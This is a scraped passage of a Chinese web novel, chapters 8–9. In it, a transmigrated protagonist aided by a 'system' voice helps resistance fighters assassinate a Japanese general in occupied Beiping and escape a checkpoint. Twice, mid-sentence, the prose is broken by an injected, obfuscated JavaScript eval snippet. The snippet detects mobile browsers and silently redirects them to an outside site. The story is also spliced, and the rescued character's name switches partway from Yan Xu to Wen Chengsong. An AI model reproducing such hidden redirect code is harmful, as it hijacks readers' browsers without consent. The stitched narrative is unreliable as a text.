大夫终归是喜欢听话的病人,看到沈听肆这副表现,他就没有继续挖苦人了,只不过在抓药的时候还是忍不住发出了几声感慨。 “你还是老夫遇到的第一个在抽了大烟以后想要戒掉的人。” 沈听肆轻轻笑了笑,“毕竟命重要。” 听了老大夫的话,傅云禾的小脸刷的一下就白了起来,“我哥病的很严重吗?都到了要危及生命的时候了?” “小姑娘,”老大夫回过头来看她一眼,“你哥这身子认真吃药,不再碰大烟,倒还有几年好活,倒是你……” 他再次看着傅云禾藏在裙子下面的小脚,幽幽叹了一声,“现在都是新社会了,你愿不愿意把你的这双脚正一正啊?” 8. 第 8 章 “正……正脚……”傅云禾仿佛遇到了什么豺狼虎豹一般,一下子吓得都有些站不稳了。 她攥着自己裙摆的手紧了又紧,眼中的神情也在瞬间变得慌乱了起来,“大夫,你别和我开玩笑了,我经不起吓的。” 但一直笑意盈盈的老大夫,此时却突然严肃了起来,他定定的盯着傅云禾,无比慎重的开口说道,“我没有和你开玩笑。” 此时的他抓好了药,将药包递给沈听肆,一步一步走向傅云禾,“我看你兄长是个读书人,小姑娘可曾念过书?” 傅云禾下意识的点了点头,“念过的,就是哥哥教的,但是识的字不多。” “那你也应当知道,现在的女娃娃都不缠足了吧?” 傅云禾忽然想起了那天看到的穿着高跟鞋的阮泠冉,那样的高贵,那样的优雅。 让她只是看上一眼,心中就升起了无限的自卑。 见傅云禾有所触动,老大夫继续说道,“最近这两年啊,来找我正脚的小姑娘也不少,老夫的手艺还是能拿的出来的。” 他也是看傅云禾出门的时候,身边并没有跟着伺候的丫鬟才会这么说上一句。 现在东瀛人来了,成天儿的打着仗,不知道什么时候炮火能够涉及到他们这里。 他只希望他能够帮助一些小脚的苦命女子,最起码在东瀛人打来的时候能够跑得快一些。 老大夫循循善诱,“虽然这过程当中可能会有些疼,但是只要把脚掰正了,你就可以正常走路了,小姑娘想不想试一试?” 傅云禾原以为自己退了盛家的婚事,又读书识字,就已经是做尽了所有大逆不道的事情,他从未想过有一天还有人问她要不要把裹成了的小脚给掰回去。 一时之间傅云禾纠结极了。 她也很希望自己能够正常的走路,不再因为小脚而被嘲笑。 这件事情对她来说太大了,大到她完全没有办法做出判断。 傅云禾求助似的把目光投向了沈听肆,期期艾艾的喊了一声,“哥,你怎么看?” 沈听肆其实是希望傅云禾同意的,只不过小姑娘此前从未经历过这样的事情,一时之间恐怕还有些担忧和害怕,所以他也并不催促。 “无论你做出什么样的决定,哥哥都支持你,而且这其中的痛苦都得你自己忍受,所以哥哥把选择权交给你自己。” 傅云禾沉默了一会儿,终究还是摇了摇头,“我……我再考虑考虑吧。” 她现在没有办法做出决定,如果等爹爹回来,知道她退婚了也不生气的话,她或许就有勇气再来这里了。 “那小姑娘回去好好想想,”老大夫依旧笑意盈盈的,慈眉善目的像个大长辈一样,“等你想好了再来找老夫就行。” 傅云禾屈膝拜了拜,“多谢。” 她将这家药堂的名字深深的记在了心间,这才转身和沈听肆一起离开。 —— 租界里最近一段时间,好似人人自危了起来,不仅下面的小兵们闹得人心惶惶,就连高层的平川大佐和松井中佐也总是愁眉苦脸。 沈听肆吩咐厨房里做了一些茶点给平川大佐拿了过去,然后装作关怀他的样子说道,“我看着平川君最近似乎有些心神不宁的,可是遇到什么麻烦的事了?” 平川大佐单手扶额,眉头紧锁着,倒也没有什么要隐瞒的意图,“上头要派个人过来重新接管北平,日后这里可就不是我说的算了。” 只不过他最终也就能够说出这些消息罢了,再多的,平川大佐便不会再说。 沈听肆心中已然有了猜测。 原剧情里也有这么一出,在太平洋战场上的渡边信长被派往北平接手平川大佐,此人的谋略和手段都极为的阴狠,做起事来不管不顾的。 平川大佐或许还会考虑东瀛在国际上的名声,即便那些学生们整日的在街上游街,宣传着反抗东瀛的口号,他做的最多的也是将学生们抓起来,对他们用用刑,关个个把月的就会放出来。 可渡边信长却不同,此人极度嗜杀,只要是惹了他的人,最终都逃不过一个死字。 但按照剧情,渡边信长是在北平沦陷之前才来的。 如今却足足提前了三个月。 或许是因为他和陈尽忠他们将那个做活体研究的基地给毁了,所以提前将渡边信长派过来? 这个人太过于凶残,一旦让他掌握了北平,恐怕北平城的百姓们要死伤大半。 所以必须在渡边信长下火车的时候进行刺杀。 原剧情里,陈尽忠和严序等人虽然成功的刺杀了渡边信长,可他们的人却在逃离的时候折损了大半。 而陈尽忠这个一心为国的老学者,也死在了东瀛人的枪口下。 这件事情还得好好谋划一番才是。 探查到渡边现场来北平的具体时间点后,沈听肆找人给陈尽忠送了信。 当沈听肆按照信中所写的地址找上陈尽忠的时候,对方笑眯眯的将他迎进了里屋,“沈先生来的倒还正是时候。” 屋子里面聚了一圈的北平大学的学生,女主方槿,男二乐倾川,还有沈听肆之前救下的那个周崇,全部都在。 只独独少了男主角严序。 想必是因为严序受伤严重,此时还在恢复当中吧。 周崇看到沈听肆那一瞬间就站了起来,激动万分的冲过来,“沈先生!” 他就那么喊了一声,却也不说别的话,一双眼睛直勾勾的盯着沈听肆看,活像是狂热粉丝在注视着自己喜欢的明星一样。 “咳!”陈尽忠假意咳嗽了一声,这才将周崇的目光给拉了回来,然后说起了正事,“我们今天聚在这里的目的就是要有一个确切的,可行的,刺杀渡边信长的计划。” “渡边信长此人极为小心谨慎,”方槿手中拿着一个巴掌大的小本子,看着上面她所搜集到的关于渡边信长的信息,“我们的机会只有一次,那就是在他下火车的时候,将他一枪击毙,错过这个机会,再想要杀了他就难如登天了。” 乐倾川认可的点点头,“所以我们需要提前埋伏在火车站周围,而且要找好掩体,确保在刺杀了渡边信长以后,我们能够安全逃离。” “理是这么个理,”方槿点了点头后,又有些迟疑,“可是我们现在虽然知道了他乘坐哪辆车,可却不知道他在哪个车厢,万一埋伏的地点距离渡边信长太远了……” 听了这话后,陈尽忠笑眯眯的说道,“所以这就要靠沈先生了。” 他抬手轻轻捋了一下下巴上的胡须,“不知沈先生可有消息?” 沈听肆点了点头,“七月初三,14号车厢。” 方槿立马将这个日期记在了他手里的那个小本本上。 还不等大家讨论出一个切实可行的章程,陈尽忠就直接将沈听肆给叫到了外面。 沈听肆有些莫名其妙,“陈老师这是什么意思?” 陈尽忠满是慈蔼的看了一眼沈听肆,“你能够卧底在东瀛人的身边不容易,你活着才能给我们带来更多的情报,你活着才能发挥你最大的价值。” 当日他们去摧毁活体研究基地的时候,因为陈尽忠对于沈听肆还不够信任,所以也就由着沈听肆一块前去了。 可是等到回来之后他才感到后怕,当时的情况那么危险,万一沈听肆就死在了那里,那他们的革命可怎么办? 沈听肆是组织内部唯一一个潜伏在平川大佐身边的人,甚至连渡边信长坐哪辆车,在哪号车厢,这种机密的信息都能够探听出来。 他的作用真的太大太大了。 容不得一丝的闪失。 所以,陈尽忠绝对不可能让沈听肆至于危险的境地。 这次刺杀可以说是危机重重,东瀛人那里肯定是做好了万全的准备。 他们所有人都是抱着必死的决心去的。 不成功,便成仁。 他们死了无所谓,能够为了国家,为了百姓牺牲,也算得上是一种荣耀。 可沈听肆一旦出了事,那组织上可就要损失惨重了。 陈尽忠推着沈听肆的背,一边推着他往前走,一边说着话,“你答应我,绝对绝对不可以出现在刺杀的现场,你一定要确保自己的安全。” 面对这样一个全心全意为自己着想的长辈,沈听肆说不出拒绝的话来,“好,陈老师,你们也要注意安全。” 陈尽忠见沈听肆知道事情的缓重,很是欣慰的笑了笑,“有你们这些年轻人在,就算我死了也能够放心。” 目送沈听肆的背影渐行渐远,直到消失在拐角处,陈尽忠这才转身回到了屋子里去。 沈听肆没有回去偷听的打算,一步一步的往家的方向走着。 9999惊呆了,【宿主,你真的不管了?】 沈听肆走路的步伐没有停顿,只淡淡应了一声,【怎么可能?】 他不去偷听,只不过是全了陈尽忠等人的一颗拳拳之心罢了。 如此重要的一个剧情转折点,他又怎么会不去呢? 更何况,知道剧情的他,对于陈尽忠等人的计划也能够猜个七七八八。 毕竟即使是刺杀任务提前了,但是想出办法的那些人都是一样的,思维自然也不会有什么别的变化。 —— “呜——” “呜——” 火车的鸣笛声远远传来,北平火车站上人头攒动。 沈听肆易了容,穿着一身最为普通的长衣长裤,挤在人堆里一点都不显眼。 他今天来这里的其中一个目的就是保护陈尽忠不被东瀛人给杀死。 没有等太久,渡边信长乘坐着的那辆火车就已然到了站。 火车站周围的掩体里面挤满了地下工作者的同志们,每个人都努力的将眼睛睁到了最大,力图第一眼就能够发现渡边信长的存在。 火车上的乘客们开始依次往下走,川流不息的人群到了14号车厢这块却突然停顿了一下。 紧接着就有一个穿着黑色大衣,戴着墨镜和帽子的男人,在一群东瀛士兵的掩护下走了出来。 他的四周围满了东瀛的士兵们,即使想要射击也完全找不到缝隙。 躲藏在火车周围的方槿严序等人顿时焦急万分。 方槿右手紧紧地攥着放在衣服口袋里的枪,“这可怎么办?根本找不到机会?” 守卫的东瀛士兵实在是太多了,而且只要一开枪就会暴露他们所在的位置,这完全是得不偿失。 严序眯着眼睛,看了一眼火车站东南方向不远处的那栋小楼,“不着急,陈老师在那个楼上,他想到了会发生这种情况,从楼上射击应该可以做到。” 似乎是为了响应严序这句话,就在他话音刚落下的时候,青天白日里猛然间响起了一声枪响。 紧接着那个被东瀛士兵们团团护在中间的人脑袋上就炸开了一朵艳丽的血花,整个人紧闭着双眸“咚”的一声摔倒在了地上。 “天呐,杀人啦!!!” “快跑啊,有刺客!” “砰!砰!砰!” 刹那之间整个火车站乱成一团,人们的尖叫声,呐喊声和枪声混杂在一起,顿时找不到任何的秩序。 一群东瀛士兵举着枪就往陈尽忠的那栋小楼射击,而且还有守护在火车站周围的东瀛士兵们已经迅速的窜进了小楼里面去。 沈听肆顺着惊慌失措的人群往外走,一边走一边不动声色的解决着那些追捕陈尽忠的人。 而此时方槿,乐倾川和严序等人也是往那个小楼的方向冲,试图将被困在里面的陈尽忠给救出来。 可才充了没一会,严序却顿时整个人不由自主的浑身颤抖,冷汗如雨水一般的往外冒,就连手里的枪都有些拿不住了。 乐倾川大惊失色,“你怎么了?” 严序难受不已的蹲在地上,将手里的枪扔给方槿,催促着他们两人,“你们先走,我这是烟瘾犯了。” 乐倾川急不可耐,伸手就要来拉他,“你在说什么啊,我们一起来的,要走也要一起走!” 可严序现在全身的意志都用来抵抗他的烟瘾了,提不起一丝一毫的力气,“你们现在带着我就是一个拖累,我们先去救陈老师,我随便找个地方躲一躲。” 严序焦急万分,唯恐方槿和乐倾川离开的晚了就被巡查的东瀛士兵给发现了。 为了能够让两个人放心的离开,严序脸不红心不跳的撒了个谎,“就算他们发现了,也不会拿我怎么样的,毕竟我只是个学生而已。” 方槿和乐倾川说不过他,只能先行离开,只不过在离开之前,乐倾川将他的枪还给了他,“你给我拿好了,会在我们的根据地等着你平安回来。” 【不好!宿主,主角有危险!】 在沈听肆正帮着其他的地下组织成员们暗中射杀东瀛士兵的时候,沈听肆耳边突然响起了9999极为尖锐的声音,【宿主,男主角不能死,一旦死了整个故事线的剧情都会崩溃,到时候整个世界都会产生极大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可有的时候运道就是这么的差,沈听肆背着严序刚转过一个角,竟迎面撞上了一个人! 【我去!这个人是从哪里出来的啊?!】9999大吃一惊,明明宿主刚才确定这周围没有一个喘息的活人的,怎么会突然出现一个巡查的士兵? 沈听肆却很快的发现了方才没探查到这名士兵的缘由。 却原来是火车头不远处的墙体形成了一个三角形的区域。 正常来说,人只要站立着的时候,沈听肆也会注意到那个人的身影。 但这个巡查的士兵似乎是因为犯困了,刚好坐下来,靠墙眯着打了个盹,就这般巧合的进入到了沈听肆的视线死角。 那名士兵在发现沈听肆第一时间就举起了手里的长/枪,十分警惕的看着前方,“什么人?!” 沈听肆眼疾手快的抽出夹在裤腿绑带中的匕首,用力的掷了过去,在那名士兵的手指触碰到扳机的前一瞬,匕首深深的扎透了他的手掌。 左手无力的垂下,鲜血滴滴答答的滴落下来。 剧烈的疼痛在一瞬间涌上头皮,让那士兵不由得大叫了一声,但幸好这附近并没有太多的东瀛士兵,他的叫喊声并没有引起其他人的注意。 他将受了伤的左手背到后面,因为长/枪掉落在了地上,那士兵就随手掏出来了一支手枪,只不过举着手枪的右手微微有些颤抖。 在他面前,青年的唇瓣微勾,淡漠的目光仿佛在看一个死人一般,带来一股诡异的寒意。 那士兵瞳孔骤缩,手上的动作比脑子还要快速一些,思想都还没有转变过来,仅剩的右手就已然扣动了扳机。 带着浓烈杀意的子弹直直向前射来,子弹和空气摩擦,发出阵阵破空之声。 但出乎那名士兵意料的是,沈听肆的身形比他手里的手枪竟然还要快速上许多。 在他按动扳机的一刹那,沈听肆将背上的严序丢到了一边,随后整个人宛如鬼魅一般地迅速闪过,于猎猎热浪中快出了阵阵残影。 士兵只觉得眼前一花,那被他拿枪指着的青年就已然消失不见了踪影,他都还来不及思索究竟发生了什么事情,就已经有一双冰凉的手指探上了他的脖颈。 刹那之间,那士兵的瞳孔都放大了一些,双眼的余光里,那个宛若鬼魅一般的青年,已经立在了他的身后。 丝毫来不及做出反应,只听见一声骨骼断裂的“咔嚓”声,疼痛都来不及爬上那名士兵的头皮,所有的一切就已经在他眼中慢慢黯淡了下来。 士兵的身体瘫软,像是一条毛毛虫一样仰躺在地,那双眼睛睁的老大,里面惊恐万分的神色都还没有散去,就已经消失了一切的光影。 沈听肆当扎穿了那名士兵首长的匕首拔出来,用对方的衣服擦干净了匕首上的血迹,随后又把匕首塞回了裤腿绑带里。 紧接着,他拿起了那名士兵掉落在地上的长枪,用手轻轻掂了掂。 这还真是个好东西,威力这般的大,这玩意儿一旦涉及到了人的身上,顷刻之间就会戳出一个血窟窿来。 这么高级的武器,整个红党组织内部都不见得有几把,在这里,却能够让一个普普通通的巡逻士兵拿在手中。 还真是奢侈的可以。 沈听肆将长枪拿在手中,准备转身回去找严序。 却不曾想,他竟然单手撑着墙壁,一瘸一拐的走了过来。 “沈先生……”严序愣怔地看着沈听肆,总感觉对方浑身上下都透露着一股熟悉,可偏偏这张脸他又从未见过,严序一时之间不知该做何开口。 “还愣在那里干什么?”沈听肆走过去抓着严序的双臂再次把他背在了自己的背上,“刚才这么大的动静,肯定是引起注意了,我们要是再不快点走,恐怕一会要被包饺子。” 严序下意识的顺着他的话点了点头,“好。” 沈听肆这次每走到一个拐角的地方,都会仔细的探查前方的情况,以确保自己不会漏掉任何一个死角。 刚才只遇到了那一个巡查的士兵是他们运气好,若是遇到了一群人,他们恐怕就不会这么轻而易举的逃出来了。 两人刚刚顺着人群东拐西拐,才堪堪离开发生了搏斗的地方,一队东瀛士兵就飞速的冲了过来。 可这里除了打斗留下的残存的子弹痕迹,和三具已经死透了的东瀛士兵的尸体以外,再也找不到半个人影。 9. 第 9 章 其中一名东瀛士兵看着这狼藉的现场,脸色顿时难看了起来,“如果今天就让他这么逃脱了,我们这些巡查组的人员全部都得去切腹!” 另外一名士兵很是赞同的点了点头,“搜!看这里的情况应该是刚刚发生了搏斗,这人肯定没有跑远。” 巡查小队的队长沉着一张脸,“给我搜!掘地三尺,也要把这个人给我找出来!” 松井中佐得知这个消息的第一时间就是生气。 他捂着腮帮子抡圆了手臂,重重一巴掌打在了前来报信的巡查士兵的脸上,整个人气急败坏,“你们那么多的人,竟然让这个杀手在你们眼皮子底下逃走了?!” “全部都给我去切腹算了!还活着做什么?!” 一个多月之前,整个研究基地被一把火烧了个干净,他们研究了几十年的资料,再加上花费了无数资源才培养出来的科学研究人员,全部都在那场大火中化为了焦土。 因为这件事情他们受到了责罚,甚至连北平的掌控权都被夺了。 可才刚刚来到这里,准备接手的渡边信长,军事大将,就这样在众目睽睽之下被枪杀。 这简直就是奇耻大辱! 这和站在他们头顶上拉屎有什么区别? 作为一个军人,松井中佐的力气也是相当不小的,那名士兵被他打得头晕目眩,好半天才缓过神来。 为了自己的小命着想,他的脑瓜子急速的转动着,飞快地想出了一个办法,试图来挽救一下自己的失职,“我们在听到枪响的第一时间就赶去了现场,现在封锁火车站周围的所有路口,肯定能把他给抓回来。” 松井中佐又是一巴掌拍在了他的脑袋上,“这还用你说?!” 在渡边信长被枪杀的第一时间,平川大佐就已经发布了封锁火车站的命令。 只不过火车站周围的人太多了,短时间内也不可能就那么快的把杀手找回来。 “行了,都站在这里做什么?!”松井中佐冰冷的目光扫视过一圈的人,“还不都去搜?!” —— “砰砰砰!” “全城搜捕,全城搜捕!” “都站着,不许动,不许乱跑!” 一路上两个人悄无声息的躲避着监控,眼看着即将就要转到一条杂乱的小巷子,可以彻底的甩开追兵的时候。 整个火车站突然响起了几道尖锐的枪声。 刹那之间,东瀛士兵们整齐划一的呐喊声充斥着众人的耳膜。 一般的百姓们都怕死,所以在听到枪响和东瀛士兵的警告声后,一个个都像鹌鹑一样的站在原地,不敢动了。 毕竟那些东瀛人手里的枪可是不长眼睛的,万一他们稍微一动就挨了枪子儿,那可是死都没地方说理去。 如此一来,如果沈听肆他们依旧往外走的话,就会变得十分的可疑。 拥挤的人潮停了下来,前后左右几乎全部都是人,每一个出入口都被拿着机枪的东瀛士兵们严格把控着。 检查一个,走一个。 【宿主,】9999的声音有些担忧,【没有能够安全躲避的地方了,现在全城戒严,一旦被发现,根本无法逃得开。】 沈听肆和温承松身上穿的衣服都很普通,若是伪装成普通老百姓的话,也不是不可以。 可问题就是他们俩身上装着枪。 如此明显的一个物件,那些东瀛的士兵一搜就能搜出来。 想要和普通百姓一样检查过关,就必须想个办法把枪给藏起来,可问题就是现在他们东南西北全部都是人,而且在所有人都停下不怎么走动的时候,他们两个若是往回走,就会格外的显眼。 除非把两把枪都藏在一个人的身上,由这个人来吸引东瀛人的注意力,那么就可以用一个人的牺牲来换取另外一个人的平安。 就在沈听肆思索着究竟要如何才能有一个两全其美的办法的时候,温承松沉沉的叹了一口气,搂着沈听肆脖子的双臂猛然间松开了来,他整个人无力的掉在了地上。 沈听肆扭过头,那双琉璃一般的眸子一瞬不瞬的盯着温承松,里面没有不解,也没有困惑,就只是那样冷冷的注视着。 他虽然一句话都没有说,可温承松却莫名的懂了他的意思,他下意识的就有些紧张,连忙说出了自己心中的想法,“沈先生,你别生气。” 他现在连路都走不了,就是一个彻头彻尾的废物,若是沈听肆自己一个人,说不定还有机会可以逃出去,可一旦带着他这个拖累,他们两个都将死在这里。 温承松自嘲的笑了笑,脸上露出一抹苦涩的神情来,“沈先生,我知道你的好意,但我现在这个情况你也看见了,我除了当你的累赘以外,起不到任何的作用,你就把我放在这里,自己逃命去吧。” 他从来都不知道那些东瀛人强行给他注射的东西会有这般的厉害,他如今能够坚持这清醒,已经算是拼尽全力了。 他身体里对于大烟的极度渴望,已经让他的脑子阵阵发昏,浑身密密麻麻的痒,仿佛又千千万万只蚂蚁钻到了他的血肉里面,在不停的爬来爬去。 他现在真的恨不得就此去死一死。 温承松眉头紧皱着,浑身疼的他连眸色都有些暗淡了,那张嘴唇也是血色尽失,只剩下一片惨白。 豆大的汗珠不断地顺着他的毛孔冒出来,汇聚在一起,又往下流淌,后背早已经被冷汗凝透。 温承松知道,就算他今天逃出去了,身体估计也是不行了,像他这样随时随地都有可能犯烟瘾,一犯烟瘾就整个身体都开始抽搐,连路都走不了一步,又怎么可能还能够继续反抗事业? 只能成为所有人的拖累罢了。 而且就连他自己也不敢确定自己以后会变成一个什么样的怪物。 他见过那些常年吸食大烟的人,骨瘦如柴,几乎都快要成为了一个骷髅。 他现在虽然还没有变成那个样子,可他也不敢保证以后会不会变。 他的身后还有责任,站着那些和他拥有着同样梦想的同胞们,还有无数生活在水深火热之中的夏国人。 他可能没有办法办法再继续和一起他们进行反抗斗争了。 那么,在临死之前,他想要做一件好事,最起码,让他的死亡变得稍微有点意义。 就像曾经某一位先生说过,人固有一死,或重于泰山,或轻于鸿毛。 无论如何,能够让沈先生安全的离开,他也算死得比鸿毛要重了吧? 温承松咬了咬牙,想要伸手去拿沈听肆藏在衣服里面的那把手枪,急不可耐的开口道,“沈先生,你能把我从火车轨道带出来,我已经非常感激了,今日若是我们最终只能活下去一个人的话,我希望那个人是你。” 人群不断的往前挪,已经快到了被东瀛人封锁着的出入口。 温承松看了一眼不停往前走的人群,顿时更加的焦急了起来,“没有时间了,沈先生,你把枪给我,我替你打掩护,你快些逃吧!” 温承松义正言辞的说着这话,一手去抽沈听肆手里的手枪,另一只手推了沈听肆一把。 但紧接着,随之而来的就是无尽的尴尬。 两个人之间的空气仿佛陷入了一种诡异的寂静,就连风都好似停止了一些。 ——因为温承松没有抽动那把手枪,也没有推动沈听肆。 此时他浑身的力气加在一起,或许都还比不上一只嗷嗷待哺的小猫,又能够做得了什么事呢? 沈听肆有些无可奈何地叹了一口气,有些好笑的问了一句,“温承松,你以前话也这么多吗?” 明明在原主的记忆里,温承松是一个十分冷漠的人啊。 常年的沉默寡言,最不喜欢说废话,总是用行动来证明自己。 可现在的温承松,似乎有些太过于话唠了。 温承松有些被怔住,下意识的攥紧了沈听肆的袖子,疑惑道,“沈先生,你认识我?” 可他们是何曾见过面的?为什么他一点印象都没有? 沈听肆反手抓住了他的手腕,毫不留情的将人甩上自己的背,冷冷的开口,“你要是再继续这么多话,我们俩今天都得交代在这里。” “不是……你这么带着我,咱俩谁都走不出去呀!你把我放下来,你才有活下去的可能……”温承松还想要继续劝说,沈听肆忍无可忍,重重的敲了一下温承松的脑袋,“你可以闭嘴吗?真的很吵。” “你再这样当心把东瀛士兵给引来,到时候我们俩谁也走不了!” 温承松:…… 柔弱,无助,又可欺.jpg “好咧。” 耳边没有了温承松的絮絮叨叨,沈听肆顿时感觉世界清净了不少。 刚才在温承松说话的时候,沈听肆就一直在观察着周围的情况,守在他们前面不久的这个关卡的东瀛士兵大概有三十来个,绝大部分的士兵手里都是长枪,机枪只有一把。 而就在那些东瀛士兵身后不远的地方,停着一辆雪佛兰轿车。 如果他能在穿越出入口的时候,用最快的速度上了这辆车,他们应该就可以成功逃脱了。 在沈听肆和温承松计划着如何闯关卡的时候,陈尽忠也和方槿等人聚集到了一起。 火车站里人头攒动,虽然在枪声的震慑下不似刚才那样的慌乱,但却也绝对不会像军队里那样的,排着整齐的队伍。 所以还是有一些认识的人,三三两两的聚在一起。 因此,陈尽忠等人站在一块儿说话倒也不显得过于突兀。 “你们把手里的枪都给我,”陈尽忠的目光沉着冷静,没有丝毫的慌乱,说话的语调当中夹杂着不容置讳的坚定,“一会儿你们就假装是普通的老百姓,跟着人流出去就行。” 为了防止周围的普通百姓们听到他们所说的话,他们的声音都格外的小,只不过聚在一起的人还是能够听清楚的。 陈尽忠原本都没想着他们所有人能在这场刺杀里面活下来,甚至连这次刺杀是否能够成功,都是一个未知数。 可现在,他们不仅成功刺杀了渡边信长,甚至绝大部分的同志都存活了下来。 是的,在陈尽忠的视野里面,温承松有极大的可能已经牺牲了。 毕竟一个烟瘾犯了,毫无行动力的人,是根本不可能逃脱得了东瀛人的追捕的。 只不过他们现在并没有见到温承松的尸体,就还存着一丝的希望。 但眼前的这些年轻人们,若是不用这个办法的话,可就一个都走不出去了。 陈尽忠眨眨眼,努力的将每一个人的面容都记在了心里,“你们都是好样的,老师为你们骄傲。” 说着这话,陈尽忠将自己的外衣脱了下来,递给了自己右手边的方槿,“把你的枪装进去,装完以后给倾川,每个人都要装,听到没有?” 方槿忍不住红了眼眶,她紧咬着牙关,强忍着不让眼泪掉出来,可说出来的话,却依旧颤抖,“陈老师,那你怎么办?” 陈尽忠毫不在意的笑了笑,“方槿,听话,我都活了四十多年了,也活够了,只要你们能够安全出去,继续去完成这份事业,老师在地下也会为你们骄傲的。” “不……”方槿抓着那件外套的手不停的颤抖,颤抖的几乎快要拿不住,“陈老师,算我求你了,你和我们一起走……” 陈尽忠没有说话,只是眯着眼睛定定的看着她。 乐倾川只觉得心中酸涩不已,酸的他几乎快要落下泪来,他连连摇头,试图去扯陈尽忠的袖子,就连说话也是磕磕绊绊的,“陈老师,你不要这样。” 他们一起来的,为什么不能一起离开? 就非要牺牲一个人吗? 陈尽忠目光闪烁,抬手摸了摸方槿你脑袋,“孩子们,听话,不要任性,国家和人民还需要你们,不能做无所谓的牺牲,明白吗?” 周崇声音发颤,率先将自己手里的手枪装进了陈尽忠外衣的夹层里面,“陈老师,我会把他们安全带出去的。” “孩子们,别犹豫了,听话,昂?”陈尽忠放软了声音,“不要让老师这个时候还担心你们好不好?” 最终,几个学生们还是将手枪都放到了陈尽忠外套的夹层里,眼睁睁的看着陈尽忠穿上了那件外套,脚步蹒跚地站在了他们几人的最后方。 陈尽忠脸上带着从容的笑容,盯着这些学生们的后脑勺。 孩子们,大步往前走吧。 老师永远是你们的保障。 —— 眼看着自己面前排队的只剩下了两个人,温承松紧张的浑身的汗毛都竖起来了,唯恐装在沈听肆身上的枪被发现。 “站住,”一名东瀛士兵拦下了温承松,对他开口,“把手举起来,不许乱动。” 温承松乖乖听话,由着东瀛的士兵给他检查。 因为他的枪交给了沈听肆,所以他安全的通过了关卡。 他万分紧张地站在那名东瀛士兵的身后,一双眼睛一瞬不瞬的盯着沈听肆。 就在东瀛士兵照例让沈听肆举起双手的时候,温承松站在他的背后突然大喊了一声,那东瀛士兵被吓了一跳,扭过头来正要呵斥温承松,沈听肆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536854|170913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却迅速拔枪,直接动手打死了距离他最近的两名东瀛士兵。 所有东瀛士兵的视线都被沈听肆给吸引,温承松拖着疲软的身体,一点一点的往停在不远处的那辆汽车挪去。 沈听肆一枪给那个试图去拿机枪的东瀛士兵爆了头,紧接着又提起一具东瀛士兵的尸体挡在自己的面前,也迅速的跑向那辆汽车。 沈听肆随手从地上捡了一颗小石头,用力的投掷了过去。 伴随着一声“吧嗒”的轻响,那辆汽车的车门就陡然间松动了,而司机却丝毫没有察觉到这一切。 司机正坐在车子里面百无聊赖的看着周围吵闹的人群,但不知为何,心底却莫名的升起了一股危险的感觉。 他还没来得及探查清楚,这种感觉究竟来自何处,原本平稳的汽车就猛然间向一侧歪了过去。 司机心中大叫了一声不好,手掌试探着探向了别在腰间的枪械,可还不等他摸到,一抹冰冷至极的凉意已然抵上了他的脖子。 青年低沉的嗓音从他背后传来,“别动。” 对方似乎是格外的游刃有余,明明身后提着枪的东瀛士兵还在追逐,在如此危机的情况下,说话的嗓音中竟然还夹杂着浅浅的笑意,“快点开车,若是让后面的东瀛士兵追上来,你的小命也就别想要了。” 开车门,坐进车里,关上车门,一手的刀刃对准了司机脖颈间的大动脉。 一系列动作一气呵成,看的温承松目瞪口呆。 那司机放在方向盘上手微微抖了抖,为了自己的小命着想,他最终还是选择了妥协,“好,我按你说的做。” 温承松慢慢的往前挪了挪,伸手将那名司机别在腰间的手枪给拿了过来。 确认司机没有反抗的能力后,沈听肆手里的匕首推进了几分,“现在,把汽车按照我指的方向开。” 司机点头,似乎是因为有些太过于惧怕,导致他在操作的时候,汽车猛地一阵往前冲,直接撞上了一面墙壁。 眨眼间追过来的东瀛士兵就已经到了眼前,一发又一发的子弹就打了过来。 车后面的玻璃已经全部被打碎,甚至有些碎片还扎到了温承松。 安静的汽车里面,司机的呼吸猛然间急促了几秒,“我……我说我不是故意的,你们信吗??” 沈听肆似笑非笑,只是加重了手下的力道,“你觉得呢?” 锋利的刀刃轻而易举的划破了那司机的皮肤,冰冷的刀刃带来的凉意透过血/肉传到了骨子里去,让他的灵魂都不由自主的打了个寒颤。 疼痛并不强烈,可却丝丝缕缕,绵延不绝。 背后的青年发出一声轻笑,却顿时让司机毛骨悚然。 他确定,一旦他说错半个字,背后那人都会毫不犹豫的杀了他! “我知道怎么办的……”司机颤颤巍巍说了句,随后迅速的转动着方向盘,脚下将油门踩到底,立刻就像那些追来的东瀛士兵远远甩到了后面去,“您看现在这样,您还满意吗?” “好了,为了你的小命着想,还请认真开车吧。”沈听肆淡淡的嗓音当中夹杂着一丝异样的蛊惑。 因着这名司机和这辆汽车的缘故,沈听肆和温承松大摇大摆地穿过了封锁线,很快就消失在了九曲连环的巷陌里。 确认身后已经看不到东瀛的追兵,温承松紧绷的情绪终于稍稍的放松了一些,他下意识的侧头看向了坐在自己身旁的青年。 明明是一张平平无奇的脸,如此的普通,可又如此的出众。 在这短短几分钟的时间里,沈听肆展现出来的能力,手段和心机都让温承松感到大吃一惊。 —— 在沈听肆和温承松逃出生天的时候,陈尽忠这边也到了最为紧张危急的时候。 方槿排在了几个人的小队的最前面,眼看着站在她前面的百姓一个个减少,方槿的一颗心不由得紧张了起来。 她时不时的就扭过头来往后看一眼,无比的担心陈尽忠的安危。 可就算她的步伐再慢,终究也轮到了她。 她按照那检查的东瀛士兵所言,乖乖的举起双手,由着对方在她身上摸索。 那个东瀛士兵的手甚至在她胸部抓了两下,占足了便宜,可为了保命,方槿只能强忍着怒火。 终于,在什么都没有搜出来以后,方槿顺利的通过了关卡。 紧接着就是乐倾川,周崇,以及其他的学生们。 他们通过了关卡以后并没有就此选择离开,而是隔着一段距离紧盯着陈尽忠。 